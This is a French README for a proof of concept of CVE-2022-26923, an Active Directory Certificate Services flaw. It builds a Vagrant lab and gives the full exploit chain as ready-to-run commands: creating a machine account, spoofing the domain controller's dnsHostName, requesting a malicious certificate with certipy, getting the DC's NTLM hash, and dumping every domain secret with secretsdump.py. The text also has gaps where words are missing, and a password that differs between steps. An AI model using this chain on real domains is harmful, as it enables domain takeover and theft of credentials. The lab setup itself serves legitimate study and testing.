
Une preuve de concept exploitant CVE-2022-26923.
Cette vulnérabilité permettait à un utilisateur à faibles privilèges d'élever ses privilèges jusqu'à administrateur de domaine dans un environnement Active Directory par défaut avec le rôle de serveur Active Directory Certificate Services (AD CS) installé.
Elle est principalement liée au rôle Active Directory Certificate Services (AD CS). Le rôle AD CS est un rôle Windows Server qui permet de construire une infrastructure à clé publique (PKI) et de fournir des capacités de cryptographie à clé publique, de certificats numériques et de signature numérique pour votre organisation. Le rôle AD CS est utilisé pour émettre des certificats pour les utilisateurs, les ordinateurs et les services.
La version de Windows Server utilisée est Windows Server 2019 Standard Evaluation, qui est la version vulnérable. Le Vagrantfile fourni (dans le dossier Vulnerable Machine) créera une VM Windows Server 2019 avec le rôle AD CS installé et configuré, ainsi qu'un utilisateur à faibles privilèges avec les identifiants suivants :
userV@grant1Pour créer l'environnement, suivez ces étapes :
CVE-2022-26923 :
git clone https://github.com/Gh-Badr/CVE-2022-26923
cd CVE-2022-26923
Vagrantfile en remplaçant l'adresse IP dans la ligne suivante :
config.vm.network "private_network", type: "static", ip: "192.168.33.13"
cd 'Vulnerable Machine'
vagrant up
certipy installé, vous pouvez utiliser la machine vagrant fournie dans le répertoire Attacker Machine en exécutant la commande suivante :
cd 'Attacker Machine'
vagrant up
Le dossier Attacker Machine contient une machine vagrant ainsi qu'un script shell qui installera la dernière version de certipy. Vous pouvez également utiliser le script pour installer certipy sur votre machine Linux.
Afin de vous connecter à la machine de l'attaquant, exécutez la commande suivante depuis le répertoire Attacker Machine :
vagrant ssh
Maintenant que vous êtes dans la machine de l'attaquant, vous devez ajouter l'adresse IP du Windows Server au fichier hosts :
echo "192.168.33.13 VAGRANT-K51B6U3.vagrant.local VAGRANT-K51B6U3 vagrant-VAGRANT-K51B6U3-CA vagrant.local" | sudo tee -a /etc/hosts
Remarque : Si vous avez modifié l'adresse IP dans le Vagrantfile de la machine vulnérable, vous devez également la modifier ici.
Ensuite, créons un nouveau compte ordinateur dans le domaine :
addcomputer.py 'vagrant.local/user:V@grant1' -method LDAPS -computer-name 'CVEPC' -computer-pass 'P@ssw0rd'
Pour vérifier que le compte ordinateur a été créé, connectez-vous à la machine vulnérable avec l'utilisateur user et le mot de passe V@grant1 en exécutant la commande suivante depuis le répertoire Vulnerable Machine :
vagrant ssh
Ensuite, exécutez la commande suivante pour vérifier que le compte ordinateur a été créé :
Get-ADComputer CVEPC -Properties dnsHostName,servicePrincipalName
Ce compte machine a pour dnsHostName CVEPC.vagrant.local. Ce que nous voulons, c'est modifier ce dnsHostName en VAGRANT-K51B6U3.vagrant.local, qui est le contrôleur de domaine.
Pour ce faire, nous devons d'abord supprimer le Service Principal Name (SPN) du compte ordinateur CVEPC en exécutant la commande suivante :
Set-ADComputer CVEPC -Properties ServicePrincipalName @{}
Ensuite, nous pouvons modifier le dnsHostName en VAGRANT-K51B6U3.vagrant.local en exécutant la commande suivante :
Set-ADComputer CVEPC -Properties dnsHostName VAGRANT-K51B6U3.vagrant.local
Maintenant que nous avons un compte ordinateur avec le dnsHostName VAGRANT-K51B6U3.vagrant.local, nous pouvons demander un certificat malveillant à la machine vulnérable en exécutant la commande suivante sur la machine de l'attaquant :
certipy req -username '[email protected]' -password 'P@sww0rd' -ca vagrant-VAGRANT-K51B6U3-CA -template Machine -target VAGRANT-K51B6U3.vagrant.local
Vous devriez obtenir un certificat nommé vagrant-k51b6u3.pfx dans le répertoire courant.
Pour vérifier que le certificat est valide, utilisez l'outil auth de certipy en exécutant la commande suivante :
certipy auth -pfx vagrant-k51b6u3.pfx
Si le certificat est valide, vous devriez obtenir le hash NTLM du contrôleur de domaine, qui peut être utilisé de nombreuses manières malveillantes.
À titre de preuve de concept, nous pouvons utiliser le hash NTLM pour récupérer tous les secrets stockés dans le domaine (comme expliqué dans l'article de l'auteur de la CVE). Pour ce faire, nous pouvons utiliser l'outil secretsdump.py de la suite impacket (qui est installée avec la dernière version de certipy).
Pour utiliser l'outil, exécutez la commande suivante :
secretsdump.py 'vagrant.local/[email protected]' -hashes :<NTLM hash>
Remplacez <NTLM hash> par le hash NTLM que vous avez obtenu à l'étape précédente.
En conséquence, vous devriez obtenir tous les secrets stockés dans le domaine.